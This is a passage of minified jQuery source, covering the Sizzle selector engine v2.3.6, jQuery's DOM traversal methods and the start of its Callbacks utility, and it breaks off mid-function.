t=!!e&&"length"in e&&e.length,n=k(e);if(y(e)||b(e)){return false}return n==="array"||t===0||typeof t==="number"&&t>0&&t-1 in e}var T= /*! * Sizzle CSS Selector Engine v2.3.6 * https://sizzlejs.com/ * * Copyright JS Foundation and other contributors * Released under the MIT license * https://js.foundation/ * * Date: 2021-02-16 */ function(e){var t,n,i,r,s,o,a,l,u,c,f,d,h,p,g,v,m,y,b,_="sizzle"+1*new Date,w=e.document,x=0,k=0,C=le(),E=le(),A=le(),T=le(),S=function(e,t){if(e===t){f=true}return 0},j={}.hasOwnProperty,D=[],O=D.pop,N=D.push,P=D.push,L=D.slice,F=function(e,t){var n=0,i=e.length;for(;n<i;n++){if(e[n]===t){return n}}return-1},I="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|"+"ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",$="(?:\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\[^\\r\\n\\f]|[\\w-]|[^\0-\\x7f])+",R="\\["+M+"*("+$+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+$+"))|)"+M+"*\\]",H=":("+$+")(?:\\(("+"('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|"+"((?:\\\\.|[^\\\\()[\\]]|"+R+")*)|"+".*"+")\\)|)",B=new RegExp(M+"+","g"),q=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),z=new RegExp("^"+M+"*,"+M+"*"),W=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),Q=new RegExp(M+"|>"),V=new RegExp(H),U=new RegExp("^"+$+"$"),K={ID:new RegExp("^#("+$+")"),CLASS:new RegExp("^\\.("+$+")"),TAG:new RegExp("^("+$+"|[*])"),ATTR:new RegExp("^"+R),PSEUDO:new RegExp("^"+H),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+I+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/HTML$/i,Y=/^(?:input|select|textarea|button)$/i,X=/^h\d$/i,J=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t?t:n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10|55296,n&1023|56320)},ie=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,re=function(e,t){if(t){if(e==="\0"){return"�"}return e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" "}return"\\"+e},se=function(){d()},oe=_e((function(e){return e.disabled===true&&e.nodeName.toLowerCase()==="fieldset"}),{dir:"parentNode",next:"legend"});try{P.apply(D=L.call(w.childNodes),w.childNodes);D[w.childNodes.length].nodeType}catch(e){P={apply:D.length?function(e,t){N.apply(e,L.call(t))}:function(e,t){var n=e.length,i=0;while(e[n++]=t[i++]){}e.length=n-1}}}function ae(e,t,i,r){var s,a,u,c,f,p,m,y=t&&t.ownerDocument,w=t?t.nodeType:9;i=i||[];if(typeof e!=="string"||!e||w!==1&&w!==9&&w!==11){return i}if(!r){d(t);t=t||h;if(g){if(w!==11&&(f=Z.exec(e))){if(s=f[1]){if(w===9){if(u=t.getElementById(s)){if(u.id===s){i.push(u);return i}}else{return i}}else{if(y&&(u=y.getElementById(s))&&b(t,u)&&u.id===s){i.push(u);return i}}}else if(f[2]){P.apply(i,t.getElementsByTagName(e));return i}else if((s=f[3])&&n.getElementsByClassName&&t.getElementsByClassName){P.apply(i,t.getElementsByClassName(s));return i}}if(n.qsa&&!T[e+" "]&&(!v||!v.test(e))&&(w!==1||t.nodeName.toLowerCase()!=="object")){m=e;y=t;if(w===1&&(Q.test(e)||W.test(e))){y=ee.test(e)&&me(t.parentNode)||t;if(y!==t||!n.scope){if(c=t.getAttribute("id")){c=c.replace(ie,re)}else{t.setAttribute("id",c=_)}}p=o(e);a=p.length;while(a--){p[a]=(c?"#"+c:":scope")+" "+be(p[a])}m=p.join(",")}try{P.apply(i,y.querySelectorAll(m));return i}catch(t){T(e,true)}finally{if(c===_){t.removeAttribute("id")}}}}}return l(e.replace(q,"$1"),t,i,r)}function le(){var e=[];function t(n,r){if(e.push(n+" ")>i.cacheLength){delete t[e.shift()]}return t[n+" "]=r}return t}function ue(e){e[_]=true;return e}function ce(e){var t=h.createElement("fieldset");try{return!!e(t)}catch(e){return false}finally{if(t.parentNode){t.parentNode.removeChild(t)}t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--){i.attrHandle[n[r]]=t}}function de(e,t){var n=t&&e,i=n&&e.nodeType===1&&t.nodeType===1&&e.sourceIndex-t.sourceIndex;if(i){return i}if(n){while(n=n.nextSibling){if(n===t){return-1}}}return e?1:-1}function he(e){return function(t){var n=t.nodeName.toLowerCase();return n==="input"&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return(n==="input"||n==="button")&&t.type===e}}function ge(e){return function(t){if("form"in t){if(t.parentNode&&t.disabled===false){if("label"in t){if("label"in t.parentNode){return t.parentNode.disabled===e}else{return t.disabled===e}}return t.isDisabled===e||t.isDisabled!==!e&&oe(t)===e}return t.disabled===e}else if("label"in t){return t.disabled===e}return false}}function ve(e){return ue((function(t){t=+t;return ue((function(n,i){var r,s=e([],n.length,t),o=s.length;while(o--){if(n[r=s[o]]){n[r]=!(i[r]=n[r])}}}))}))}function me(e){return e&&typeof e.getElementsByTagName!=="undefined"&&e}n=ae.support={};s=ae.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!G.test(t||n&&n.nodeName||"HTML")};d=ae.setDocument=function(e){var t,r,o=e?e.ownerDocument||e:w;if(o==h||o.nodeType!==9||!o.documentElement){return h}h=o;p=h.documentElement;g=!s(h);if(w!=h&&(r=h.defaultView)&&r.top!==r){if(r.addEventListener){r.addEventListener("unload",se,false)}else if(r.attachEvent){r.attachEvent("onunload",se)}}n.scope=ce((function(e){p.appendChild(e).appendChild(h.createElement("div"));return typeof e.querySelectorAll!=="undefined"&&!e.querySelectorAll(":scope fieldset div").length}));n.attributes=ce((function(e){e.className="i";return!e.getAttribute("className")}));n.getElementsByTagName=ce((function(e){e.appendChild(h.createComment(""));return!e.getElementsByTagName("*").length}));n.getElementsByClassName=J.test(h.getElementsByClassName);n.getById=ce((function(e){p.appendChild(e).id=_;return!h.getElementsByName||!h.getElementsByName(_).length}));if(n.getById){i.filter["ID"]=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}};i.find["ID"]=function(e,t){if(typeof t.getElementById!=="undefined"&&g){var n=t.getElementById(e);return n?[n]:[]}}}else{i.filter["ID"]=function(e){var t=e.replace(te,ne);return function(e){var n=typeof e.getAttributeNode!=="undefined"&&e.getAttributeNode("id");return n&&n.value===t}};i.find["ID"]=function(e,t){if(typeof t.getElementById!=="undefined"&&g){var n,i,r,s=t.getElementById(e);if(s){n=s.getAttributeNode("id");if(n&&n.value===e){return[s]}r=t.getElementsByName(e);i=0;while(s=r[i++]){n=s.getAttributeNode("id");if(n&&n.value===e){return[s]}}}return[]}}}i.find["TAG"]=n.getElementsByTagName?function(e,t){if(typeof t.getElementsByTagName!=="undefined"){return t.getElementsByTagName(e)}else if(n.qsa){return t.querySelectorAll(e)}}:function(e,t){var n,i=[],r=0,s=t.getElementsByTagName(e);if(e==="*"){while(n=s[r++]){if(n.nodeType===1){i.push(n)}}return i}return s};i.find["CLASS"]=n.getElementsByClassName&&function(e,t){if(typeof t.getElementsByClassName!=="undefined"&&g){return t.getElementsByClassName(e)}};m=[];v=[];if(n.qsa=J.test(h.querySelectorAll)){ce((function(e){var t;p.appendChild(e).innerHTML="<a id='"+_+"'></a>"+"<select id='"+_+"-\r\\' msallowcapture=''>"+"<option selected=''></option></select>";if(e.querySelectorAll("[msallowcapture^='']").length){v.push("[*^$]="+M+"*(?:''|\"\")")}if(!e.querySelectorAll("[selected]").length){v.push("\\["+M+"*(?:value|"+I+")")}if(!e.querySelectorAll("[id~="+_+"-]").length){v.push("~=")}t=h.createElement("input");t.setAttribute("name","");e.appendChild(t);if(!e.querySelectorAll("[name='']").length){v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")")}if(!e.querySelectorAll(":checked").length){v.push(":checked")}if(!e.querySelectorAll("a#"+_+"+*").length){v.push(".#.+[+~]")}e.querySelectorAll("\\\f");v.push("[\\r\\n\\f]")}));ce((function(e){e.innerHTML="<a href='' disabled='disabled'></a>"+"<select disabled='disabled'><option/></select>";var t=h.createElement("input");t.setAttribute("type","hidden");e.appendChild(t).setAttribute("name","D");if(e.querySelectorAll("[name=d]").length){v.push("name"+M+"*[*^$|!~]?=")}if(e.querySelectorAll(":enabled").length!==2){v.push(":enabled",":disabled")}p.appendChild(e).disabled=true;if(e.querySelectorAll(":disabled").length!==2){v.push(":enabled",":disabled")}e.querySelectorAll("*,:x");v.push(",.*:")}))}if(n.matchesSelector=J.test(y=p.matches||p.webkitMatchesSelector||p.mozMatchesSelector||p.oMatchesSelector||p.msMatchesSelector)){ce((function(e){n.disconnectedMatch=y.call(e,"*");y.call(e,"[s!='']:x");m.push("!=",H)}))}v=v.length&&new RegExp(v.join("|"));m=m.length&&new RegExp(m.join("|"));t=J.test(p.compareDocumentPosition);b=t||J.test(p.contains)?function(e,t){var n=e.nodeType===9?e.documentElement:e,i=t&&t.parentNode;return e===i||!!(i&&i.nodeType===1&&(n.contains?n.contains(i):e.compareDocumentPosition&&e.compareDocumentPosition(i)&16))}:function(e,t){if(t){while(t=t.parentNode){if(t===e){return true}}}return false};S=t?function(e,t){if(e===t){f=true;return 0}var i=!e.compareDocumentPosition-!t.compareDocumentPosition;if(i){return i}i=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1;if(i&1||!n.sortDetached&&t.compareDocumentPosition(e)===i){if(e==h||e.ownerDocument==w&&b(w,e)){return-1}if(t==h||t.ownerDocument==w&&b(w,t)){return 1}return c?F(c,e)-F(c,t):0}return i&4?-1:1}:function(e,t){if(e===t){f=true;return 0}var n,i=0,r=e.parentNode,s=t.parentNode,o=[e],a=[t];if(!r||!s){return e==h?-1:t==h?1:r?-1:s?1:c?F(c,e)-F(c,t):0}else if(r===s){return de(e,t)}n=e;while(n=n.parentNode){o.unshift(n)}n=t;while(n=n.parentNode){a.unshift(n)}while(o[i]===a[i]){i++}return i?de(o[i],a[i]):o[i]==w?-1:a[i]==w?1:0};return h};ae.matches=function(e,t){return ae(e,null,null,t)};ae.matchesSelector=function(e,t){d(e);if(n.matchesSelector&&g&&!T[t+" "]&&(!m||!m.test(t))&&(!v||!v.test(t))){try{var i=y.call(e,t);if(i||n.disconnectedMatch||e.document&&e.document.nodeType!==11){return i}}catch(e){T(t,true)}}return ae(t,h,null,[e]).length>0};ae.contains=function(e,t){if((e.ownerDocument||e)!=h){d(e)}return b(e,t)};ae.attr=function(e,t){if((e.ownerDocument||e)!=h){d(e)}var r=i.attrHandle[t.toLowerCase()],s=r&&j.call(i.attrHandle,t.toLowerCase())?r(e,t,!g):undefined;return s!==undefined?s:n.attributes||!g?e.getAttribute(t):(s=e.getAttributeNode(t))&&s.specified?s.value:null};ae.escape=function(e){return(e+"").replace(ie,re)};ae.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)};ae.uniqueSort=function(e){var t,i=[],r=0,s=0;f=!n.detectDuplicates;c=!n.sortStable&&e.slice(0);e.sort(S);if(f){while(t=e[s++]){if(t===e[s]){r=i.push(s)}}while(r--){e.splice(i[r],1)}}c=null;return e};r=ae.getText=function(e){var t,n="",i=0,s=e.nodeType;if(!s){while(t=e[i++]){n+=r(t)}}else if(s===1||s===9||s===11){if(typeof e.textContent==="string"){return e.textContent}else{for(e=e.firstChild;e;e=e.nextSibling){n+=r(e)}}}else if(s===3||s===4){return e.nodeValue}return n};i=ae.selectors={cacheLength:50,createPseudo:ue,match:K,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:true}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:true},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){e[1]=e[1].replace(te,ne);e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne);if(e[2]==="~="){e[3]=" "+e[3]+" "}return e.slice(0,4)},CHILD:function(e){e[1]=e[1].toLowerCase();if(e[1].slice(0,3)==="nth"){if(!e[3]){ae.error(e[0])}e[4]=+(e[4]?e[5]+(e[6]||1):2*(e[3]==="even"||e[3]==="odd"));e[5]=+(e[7]+e[8]||e[3]==="odd")}else if(e[3]){ae.error(e[0])}return e},PSEUDO:function(e){var t,n=!e[6]&&e[2];if(K["CHILD"].test(e[0])){return null}if(e[3]){e[2]=e[4]||e[5]||""}else if(n&&V.test(n)&&(t=o(n,true))&&(t=n.indexOf(")",n.length-t)-n.length)){e[0]=e[0].slice(0,t);e[2]=n.slice(0,t)}return e.slice(0,3)}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return e==="*"?function(){return true}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=C[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&C(e,(function(e){return t.test(typeof e.className==="string"&&e.className||typeof e.getAttribute!=="undefined"&&e.getAttribute("class")||"")}))},ATTR:function(e,t,n){return function(i){var r=ae.attr(i,e);if(r==null){return t==="!="}if(!t){return true}r+="";return t==="="?r===n:t==="!="?r!==n:t==="^="?n&&r.indexOf(n)===0:t==="*="?n&&r.indexOf(n)>-1:t==="$="?n&&r.slice(-n.length)===n:t==="~="?(" "+r.replace(B," ")+" ").indexOf(n)>-1:t==="|="?r===n||r.slice(0,n.length+1)===n+"-":false}},CHILD:function(e,t,n,i,r){var s=e.slice(0,3)!=="nth",o=e.slice(-4)!=="last",a=t==="of-type";return i===1&&r===0?function(e){return!!e.parentNode}:function(t,n,l){var u,c,f,d,h,p,g=s!==o?"nextSibling":"previousSibling",v=t.parentNode,m=a&&t.nodeName.toLowerCase(),y=!l&&!a,b=false;if(v){if(s){while(g){d=t;while(d=d[g]){if(a?d.nodeName.toLowerCase()===m:d.nodeType===1){return false}}p=g=e==="only"&&!p&&"nextSibling"}return true}p=[o?v.firstChild:v.lastChild];if(o&&y){d=v;f=d[_]||(d[_]={});c=f[d.uniqueID]||(f[d.uniqueID]={});u=c[e]||[];h=u[0]===x&&u[1];b=h&&u[2];d=h&&v.childNodes[h];while(d=++h&&d&&d[g]||(b=h=0)||p.pop()){if(d.nodeType===1&&++b&&d===t){c[e]=[x,h,b];break}}}else{if(y){d=t;f=d[_]||(d[_]={});c=f[d.uniqueID]||(f[d.uniqueID]={});u=c[e]||[];h=u[0]===x&&u[1];b=h}if(b===false){while(d=++h&&d&&d[g]||(b=h=0)||p.pop()){if((a?d.nodeName.toLowerCase()===m:d.nodeType===1)&&++b){if(y){f=d[_]||(d[_]={});c=f[d.uniqueID]||(f[d.uniqueID]={});c[e]=[x,b]}if(d===t){break}}}}}b-=r;return b===i||b%i===0&&b/i>=0}}},PSEUDO:function(e,t){var n,r=i.pseudos[e]||i.setFilters[e.toLowerCase()]||ae.error("unsupported pseudo: "+e);if(r[_]){return r(t)}if(r.length>1){n=[e,e,"",t];return i.setFilters.hasOwnProperty(e.toLowerCase())?ue((function(e,n){var i,s=r(e,t),o=s.length;while(o--){i=F(e,s[o]);e[i]=!(n[i]=s[o])}})):function(e){return r(e,0,n)}}return r}},pseudos:{not:ue((function(e){var t=[],n=[],i=a(e.replace(q,"$1"));return i[_]?ue((function(e,t,n,r){var s,o=i(e,null,r,[]),a=e.length;while(a--){if(s=o[a]){e[a]=!(t[a]=s)}}})):function(e,r,s){t[0]=e;i(t,null,s,n);t[0]=null;return!n.pop()}})),has:ue((function(e){return function(t){return ae(e,t).length>0}})),contains:ue((function(e){e=e.replace(te,ne);return function(t){return(t.textContent||r(t)).indexOf(e)>-1}})),lang:ue((function(e){if(!U.test(e||"")){ae.error("unsupported lang: "+e)}e=e.replace(te,ne).toLowerCase();return function(t){var n;do{if(n=g?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang")){n=n.toLowerCase();return n===e||n.indexOf(e+"-")===0}}while((t=t.parentNode)&&t.nodeType===1);return false}})),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===p},focus:function(e){return e===h.activeElement&&(!h.hasFocus||h.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:ge(false),disabled:ge(true),checked:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&!!e.checked||t==="option"&&!!e.selected},selected:function(e){if(e.parentNode){e.parentNode.selectedIndex}return e.selected===true},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling){if(e.nodeType<6){return false}}return true},parent:function(e){return!i.pseudos["empty"](e)},header:function(e){return X.test(e.nodeName)},input:function(e){return Y.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return t==="input"&&e.type==="button"||t==="button"},text:function(e){var t;return e.nodeName.toLowerCase()==="input"&&e.type==="text"&&((t=e.getAttribute("type"))==null||t.toLowerCase()==="text")},first:ve((function(){return[0]})),last:ve((function(e,t){return[t-1]})),eq:ve((function(e,t,n){return[n<0?n+t:n]})),even:ve((function(e,t){var n=0;for(;n<t;n+=2){e.push(n)}return e})),odd:ve((function(e,t){var n=1;for(;n<t;n+=2){e.push(n)}return e})),lt:ve((function(e,t,n){var i=n<0?n+t:n>t?t:n;for(;--i>=0;){e.push(i)}return e})),gt:ve((function(e,t,n){var i=n<0?n+t:n;for(;++i<t;){e.push(i)}return e}))}};i.pseudos["nth"]=i.pseudos["eq"];for(t in{radio:true,checkbox:true,file:true,password:true,image:true}){i.pseudos[t]=he(t)}for(t in{submit:true,reset:true}){i.pseudos[t]=pe(t)}function ye(){}ye.prototype=i.filters=i.pseudos;i.setFilters=new ye;o=ae.tokenize=function(e,t){var n,r,s,o,a,l,u,c=E[e+" "];if(c){return t?0:c.slice(0)}a=e;l=[];u=i.preFilter;while(a){if(!n||(r=z.exec(a))){if(r){a=a.slice(r[0].length)||a}l.push(s=[])}n=false;if(r=W.exec(a)){n=r.shift();s.push({value:n,type:r[0].replace(q," ")});a=a.slice(n.length)}for(o in i.filter){if((r=K[o].exec(a))&&(!u[o]||(r=u[o](r)))){n=r.shift();s.push({value:n,type:o,matches:r});a=a.slice(n.length)}}if(!n){break}}return t?a.length:a?ae.error(e):E(e,l).slice(0)};function be(e){var t=0,n=e.length,i="";for(;t<n;t++){i+=e[t].value}return i}function _e(e,t,n){var i=t.dir,r=t.next,s=r||i,o=n&&s==="parentNode",a=k++;return t.first?function(t,n,r){while(t=t[i]){if(t.nodeType===1||o){return e(t,n,r)}}return false}:function(t,n,l){var u,c,f,d=[x,a];if(l){while(t=t[i]){if(t.nodeType===1||o){if(e(t,n,l)){return true}}}}else{while(t=t[i]){if(t.nodeType===1||o){f=t[_]||(t[_]={});c=f[t.uniqueID]||(f[t.uniqueID]={});if(r&&r===t.nodeName.toLowerCase()){t=t[i]||t}else if((u=c[s])&&u[0]===x&&u[1]===a){return d[2]=u[2]}else{c[s]=d;if(d[2]=e(t,n,l)){return true}}}}}return false}}function we(e){return e.length>1?function(t,n,i){var r=e.length;while(r--){if(!e[r](t,n,i)){return false}}return true}:e[0]}function xe(e,t,n){var i=0,r=t.length;for(;i<r;i++){ae(e,t[i],n)}return n}function ke(e,t,n,i,r){var s,o=[],a=0,l=e.length,u=t!=null;for(;a<l;a++){if(s=e[a]){if(!n||n(s,i,r)){o.push(s);if(u){t.push(a)}}}}return o}function Ce(e,t,n,i,r,s){if(i&&!i[_]){i=Ce(i)}if(r&&!r[_]){r=Ce(r,s)}return ue((function(s,o,a,l){var u,c,f,d=[],h=[],p=o.length,g=s||xe(t||"*",a.nodeType?[a]:a,[]),v=e&&(s||!t)?ke(g,d,e,a,l):g,m=n?r||(s?e:p||i)?[]:o:v;if(n){n(v,m,a,l)}if(i){u=ke(m,h);i(u,[],a,l);c=u.length;while(c--){if(f=u[c]){m[h[c]]=!(v[h[c]]=f)}}}if(s){if(r||e){if(r){u=[];c=m.length;while(c--){if(f=m[c]){u.push(v[c]=f)}}r(null,m=[],u,l)}c=m.length;while(c--){if((f=m[c])&&(u=r?F(s,f):d[c])>-1){s[u]=!(o[u]=f)}}}}else{m=ke(m===o?m.splice(p,m.length):m);if(r){r(null,o,m,l)}else{P.apply(o,m)}}}))}function Ee(e){var t,n,r,s=e.length,o=i.relative[e[0].type],a=o||i.relative[" "],l=o?1:0,c=_e((function(e){return e===t}),a,true),f=_e((function(e){return F(t,e)>-1}),a,true),d=[function(e,n,i){var r=!o&&(i||n!==u)||((t=n).nodeType?c(e,n,i):f(e,n,i));t=null;return r}];for(;l<s;l++){if(n=i.relative[e[l].type]){d=[_e(we(d),n)]}else{n=i.filter[e[l].type].apply(null,e[l].matches);if(n[_]){r=++l;for(;r<s;r++){if(i.relative[e[r].type]){break}}return Ce(l>1&&we(d),l>1&&be(e.slice(0,l-1).concat({value:e[l-2].type===" "?"*":""})).replace(q,"$1"),n,l<r&&Ee(e.slice(l,r)),r<s&&Ee(e=e.slice(r)),r<s&&be(e))}d.push(n)}}return we(d)}function Ae(e,t){var n=t.length>0,r=e.length>0,s=function(s,o,a,l,c){var f,p,v,m=0,y="0",b=s&&[],_=[],w=u,k=s||r&&i.find["TAG"]("*",c),C=x+=w==null?1:Math.random()||.1,E=k.length;if(c){u=o==h||o||c}for(;y!==E&&(f=k[y])!=null;y++){if(r&&f){p=0;if(!o&&f.ownerDocument!=h){d(f);a=!g}while(v=e[p++]){if(v(f,o||h,a)){l.push(f);break}}if(c){x=C}}if(n){if(f=!v&&f){m--}if(s){b.push(f)}}}m+=y;if(n&&y!==m){p=0;while(v=t[p++]){v(b,_,o,a)}if(s){if(m>0){while(y--){if(!(b[y]||_[y])){_[y]=O.call(l)}}}_=ke(_)}P.apply(l,_);if(c&&!s&&_.length>0&&m+t.length>1){ae.uniqueSort(l)}}if(c){x=C;u=w}return b};return n?ue(s):s}a=ae.compile=function(e,t){var n,i=[],r=[],s=A[e+" "];if(!s){if(!t){t=o(e)}n=t.length;while(n--){s=Ee(t[n]);if(s[_]){i.push(s)}else{r.push(s)}}s=A(e,Ae(r,i));s.selector=e}return s};l=ae.select=function(e,t,n,r){var s,l,u,c,f,d=typeof e==="function"&&e,h=!r&&o(e=d.selector||e);n=n||[];if(h.length===1){l=h[0]=h[0].slice(0);if(l.length>2&&(u=l[0]).type==="ID"&&t.nodeType===9&&g&&i.relative[l[1].type]){t=(i.find["ID"](u.matches[0].replace(te,ne),t)||[])[0];if(!t){return n}else if(d){t=t.parentNode}e=e.slice(l.shift().value.length)}s=K["needsContext"].test(e)?0:l.length;while(s--){u=l[s];if(i.relative[c=u.type]){break}if(f=i.find[c]){if(r=f(u.matches[0].replace(te,ne),ee.test(l[0].type)&&me(t.parentNode)||t)){l.splice(s,1);e=r.length&&be(l);if(!e){P.apply(n,r);return n}break}}}}(d||a(e,h))(r,t,!g,n,!t||ee.test(e)&&me(t.parentNode)||t);return n};n.sortStable=_.split("").sort(S).join("")===_;n.detectDuplicates=!!f;d();n.sortDetached=ce((function(e){return e.compareDocumentPosition(h.createElement("fieldset"))&1}));if(!ce((function(e){e.innerHTML="<a href='#'></a>";return e.firstChild.getAttribute("href")==="#"}))){fe("type|href|height|width",(function(e,t,n){if(!n){return e.getAttribute(t,t.toLowerCase()==="type"?1:2)}}))}if(!n.attributes||!ce((function(e){e.innerHTML="<input/>";e.firstChild.setAttribute("value","");return e.firstChild.getAttribute("value")===""}))){fe("value",(function(e,t,n){if(!n&&e.nodeName.toLowerCase()==="input"){return e.defaultValue}}))}if(!ce((function(e){return e.getAttribute("disabled")==null}))){fe(I,(function(e,t,n){var i;if(!n){return e[t]===true?t.toLowerCase():(i=e.getAttributeNode(t))&&i.specified?i.value:null}}))}return ae}(r);E.find=T;E.expr=T.selectors;E.expr[":"]=E.expr.pseudos;E.uniqueSort=E.unique=T.uniqueSort;E.text=T.getText;E.isXMLDoc=T.isXML;E.contains=T.contains;E.escapeSelector=T.escape;var S=function(e,t,n){var i=[],r=n!==undefined;while((e=e[t])&&e.nodeType!==9){if(e.nodeType===1){if(r&&E(e).is(n)){break}i.push(e)}}return i};var j=function(e,t){var n=[];for(;e;e=e.nextSibling){if(e.nodeType===1&&e!==t){n.push(e)}}return n};var D=E.expr.match.needsContext;function O(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()}var N=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function P(e,t,n){if(y(t)){return E.grep(e,(function(e,i){return!!t.call(e,i,e)!==n}))}if(t.nodeType){return E.grep(e,(function(e){return e===t!==n}))}if(typeof t!=="string"){return E.grep(e,(function(e){return f.call(t,e)>-1!==n}))}return E.filter(t,e,n)}E.filter=function(e,t,n){var i=t[0];if(n){e=":not("+e+")"}if(t.length===1&&i.nodeType===1){return E.find.matchesSelector(i,e)?[i]:[]}return E.find.matches(e,E.grep(t,(function(e){return e.nodeType===1})))};E.fn.extend({find:function(e){var t,n,i=this.length,r=this;if(typeof e!=="string"){return this.pushStack(E(e).filter((function(){for(t=0;t<i;t++){if(E.contains(r[t],this)){return true}}})))}n=this.pushStack([]);for(t=0;t<i;t++){E.find(e,r[t],n)}return i>1?E.uniqueSort(n):n},filter:function(e){return this.pushStack(P(this,e||[],false))},not:function(e){return this.pushStack(P(this,e||[],true))},is:function(e){return!!P(this,typeof e==="string"&&D.test(e)?E(e):e||[],false).length}});var L,F=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,I=E.fn.init=function(e,t,n){var i,r;if(!e){return this}n=n||L;if(typeof e==="string"){if(e[0]==="<"&&e[e.length-1]===">"&&e.length>=3){i=[null,e,null]}else{i=F.exec(e)}if(i&&(i[1]||!t)){if(i[1]){t=t instanceof E?t[0]:t;E.merge(this,E.parseHTML(i[1],t&&t.nodeType?t.ownerDocument||t:_,true));if(N.test(i[1])&&E.isPlainObject(t)){for(i in t){if(y(this[i])){this[i](t[i])}else{this.attr(i,t[i])}}}return this}else{r=_.getElementById(i[2]);if(r){this[0]=r;this.length=1}return this}}else if(!t||t.jquery){return(t||n).find(e)}else{return this.constructor(t).find(e)}}else if(e.nodeType){this[0]=e;this.length=1;return this}else if(y(e)){return n.ready!==undefined?n.ready(e):e(E)}return E.makeArray(e,this)};I.prototype=E.fn;L=E(_);var M=/^(?:parents|prev(?:Until|All))/,$={children:true,contents:true,next:true,prev:true};E.fn.extend({has:function(e){var t=E(e,this),n=t.length;return this.filter((function(){var e=0;for(;e<n;e++){if(E.contains(this,t[e])){return true}}}))},closest:function(e,t){var n,i=0,r=this.length,s=[],o=typeof e!=="string"&&E(e);if(!D.test(e)){for(;i<r;i++){for(n=this[i];n&&n!==t;n=n.parentNode){if(n.nodeType<11&&(o?o.index(n)>-1:n.nodeType===1&&E.find.matchesSelector(n,e))){s.push(n);break}}}}return this.pushStack(s.length>1?E.uniqueSort(s):s)},index:function(e){if(!e){return this[0]&&this[0].parentNode?this.first().prevAll().length:-1}if(typeof e==="string"){return f.call(E(e),this[0])}return f.call(this,e.jquery?e[0]:e)},add:function(e,t){return this.pushStack(E.uniqueSort(E.merge(this.get(),E(e,t))))},addBack:function(e){return this.add(e==null?this.prevObject:this.prevObject.filter(e))}});function R(e,t){while((e=e[t])&&e.nodeType!==1){}return e}E.each({parent:function(e){var t=e.parentNode;return t&&t.nodeType!==11?t:null},parents:function(e){return S(e,"parentNode")},parentsUntil:function(e,t,n){return S(e,"parentNode",n)},next:function(e){return R(e,"nextSibling")},prev:function(e){return R(e,"previousSibling")},nextAll:function(e){return S(e,"nextSibling")},prevAll:function(e){return S(e,"previousSibling")},nextUntil:function(e,t,n){return S(e,"nextSibling",n)},prevUntil:function(e,t,n){return S(e,"previousSibling",n)},siblings:function(e){return j((e.parentNode||{}).firstChild,e)},children:function(e){return j(e.firstChild)},contents:function(e){if(e.contentDocument!=null&&a(e.contentDocument)){return e.contentDocument}if(O(e,"template")){e=e.content||e}return E.merge([],e.childNodes)}},(function(e,t){E.fn[e]=function(n,i){var r=E.map(this,t,n);if(e.slice(-5)!=="Until"){i=n}if(i&&typeof i==="string"){r=E.filter(i,r)}if(this.length>1){if(!$[e]){E.uniqueSort(r)}if(M.test(e)){r.reverse()}}return this.pushStack(r)}}));var H=/[^\x20\t\r\n\f]+/g;function B(e){var t={};E.each(e.match(H)||[],(function(e,n){t[n]=true}));return t}E.Callbacks=function(e){e=typeof e==="string"?B(e):E.extend({},e);var t,n,i,r,s=[],o=[],a=-1,l=function(){r=r||e.once;i=t=true;for(;o.length;a=-1){n=o.shift();while(++a<s.length){if(s[a].apply(n[0],n[1])===false&&e.stopOnFalse){a=s.length;n=false}}}if(!e.memory){n=false}t=false;if(r){if(n){s=[]}else{s=""}}},u={add:function(){if(s){if(n&&!t){a=s.length-1;o.push(n)}(function 